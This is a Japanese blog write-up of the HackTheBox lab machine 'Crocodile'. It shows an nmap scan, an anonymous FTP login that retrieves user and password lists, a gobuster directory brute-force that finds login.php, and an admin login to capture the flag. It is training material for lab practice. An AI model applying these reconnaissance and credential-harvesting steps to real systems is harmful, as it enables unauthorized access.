0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Crocodile Writeup

Last updated at Posted at 2023-04-28

はじめに

本記事は「HackTheBox:Crocodile」のwriteupです。

問題

ftpおよびブルートフォース攻撃に関する問題です。

回答

とりあえず、ポートスキャンします。
結果ftp(tcp/21)が公開されていることがわかりました。
今回はftpのバージョンを見るために-sVだけでなく-sCも付与しています。
また、http(tcp/80)も開いていました。

vsftpdとは以下のようです。(https://e-words.jp/w/vsftpd.html より)

vsftpdとは、LinuxなどのUNIX系OSでよく利用されるFTPサーバの一つ。セキュリティ分野の著名な開発者であるクリス・エバンス(Chris Evans)氏が開発し、GPL(GNU General Public License)に基づいてオープンソースとして公開している。
┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC 10.129.192.188
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-28 22:53 JST
Nmap scan report for 10.129.192.188
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.172
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Smash - Bootstrap Business Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.19 seconds

Anonymousログインを試みたところ成功しました。
戻り値は230です。

┌──(kali㉿kali)-[~]
└─$ ftp 10.129.192.188
Connected to 10.129.192.188.
220 (vsFTPd 3.0.3)
Name (10.129.192.188:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

lsしたところ2ファイルあったのでgetでダウンロードしました。

ftp> ls
229 Entering Extended Passive Mode (|||49548|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
226 Directory send OK.
ftp> get allowed.userlist
local: allowed.userlist remote: allowed.userlist
229 Entering Extended Passive Mode (|||40615|)
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
100% |********************************|    33       16.04 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.17 KiB/s)
ftp> get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
229 Entering Extended Passive Mode (|||40023|)
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
100% |********************************|    62      281.61 KiB/s    00:00 ETA
226 Transfer complete.
62 bytes received in 00:00 (0.33 KiB/s)
ftp> exit
221 Goodbye.

allowed.userlistをみるとadminという権限の強そうなユーザがいました。
また、allowed.userlist.passwdにパスワードが書かれていたのでこれでadminとしてログインできそうです。

┌──(kali㉿kali)-[~]
└─$ cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin

┌──(kali㉿kali)-[~]
└─$ cat allowed.userlist.passwd
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd

Gobusterでphpファイルに対してブルートフォースをかけたところ、login.phpというファイルがあったのでアクセスしてみます。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.129.192.188 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.192.188
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/04/28 23:34:06 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/login.php            (Status: 200) [Size: 1577]
/assets               (Status: 301) [Size: 317] [--> http://10.129.192.188/assets/]
/css                  (Status: 301) [Size: 314] [--> http://10.129.192.188/css/]
/js                   (Status: 301) [Size: 313] [--> http://10.129.192.188/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/fonts                (Status: 301) [Size: 316] [--> http://10.129.192.188/fonts/]
/dashboard            (Status: 301) [Size: 320] [--> http://10.129.192.188/dashboard/]
Progress: 20750 / 175330 (11.83%)^C
[!] Keyboard interrupt detected, terminating.

ログイン画面が表示されました。

ftpで入手したallowed.userlistおよびallowed.userlist.passwdの情報でadminでログインを試みたところ無事フラグを入手出来ました。

参考

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?